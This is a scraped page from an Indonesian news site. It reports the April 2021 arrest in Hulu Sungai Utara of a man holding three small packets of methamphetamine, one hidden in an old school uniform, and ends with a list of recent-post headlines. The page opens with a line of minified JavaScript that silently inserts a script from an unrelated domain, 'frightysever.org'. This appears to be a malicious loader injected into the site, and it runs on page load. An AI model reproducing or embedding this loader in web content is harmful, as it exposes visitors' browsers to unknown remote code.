(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HSU

Selipkan Sabu di Bekas Seragam Sekolah, ZH Dibekuk Polisi


KANALKALIMANTAN.COM, AMUNTAI – Satuan Reserse Narkoba (Sat Resnarkoba) Polres Hulu Sungai Utara (HSU) membekuk ZH (23) yang kedapatan simpan tiga paket sabu 1,03 gram.

Pemilik gelar akademis sarjana sosial ini berhasil diamankan Sat Resnarkoba Polres HSU di rumahnya jalan Keramat RT 003 RW 002 Desa Tangga Ulin Hilir, Kecamatan Amuntai Tengah, Kabupaten HSU, Senin (19/4/2021) sekitar pukul 05.00 Wita.

Kapolres HSU AKBP Afri Darmawan, SIK MH, melalui Kasat Resnarkoba Iptu Siswadi, kepada Kanalkalimantan.com, Selasa (20/4/2021) membenarkan penangkapan terhadap pelaku ZH saat menjalankan Program HSU Bersinar (Bersih dari Narkoba)
Bermodal informasi masyarakat, pihaknya melakukan penyelidikan dan hasilnya pelaku diringkus polisi menyimpan toga paket narkotika jenis sabu dengan berat 1,03 gram -berat bersih 0,40 gram-.

Baju bekas seragam sekolah tempat menyimpan sabu. Foto: sat resnarkoba polres hsu

 

Baca juga: Janji ‘Hidupkan’ Mess L, Ganti Stadion Banjarbaru!

“Saat penggeledahan, ditemukan satu paket narkotika yang disimpan dalam kamar, tepatnya di kantong depan baju seragam bekas sekolah yang sudah penuh corat-coret milik pelaku,” jelas Kasatresnakoba Polres HSU.

Dua paket sabu lainnya ditemukan di dalam rumah, di atas lantai tepatnya dalam kotak kecil warna putih terbungkus tisu, beserta sebuah timbangan digital. Polisi juga mengamankan barang bukti lainnya, sebuah handphone android.

Baca juga: BREAKING NEWS. Kebakaran di Mawar Banjarmasin, 3 Rumah Hangus dan 1 Relawan Terluka.

Terkait asal usul barang haram tersebut, Kasat Resnarkoba Polres HSU ini mengaku masih melakukan penyelidikan lebih lanjut.
Pelaku bersama barang bukti digelandang ke ruangan Sat Resnarkoba Polres HSU guna proses penyidikan lebih lanjut sesuai dalam pasal 114 ayat 1 atau 112 ayat 1 UU RI Nomor 35 tahun 2009 tentang narkotika. (kanalkalimantan.com/dew)

Reporter: dew
Editor: bie


Al Ghifari

Recent Posts

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

49 menit ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

4 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

13 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

14 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

16 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

17 jam ago

This website uses cookies.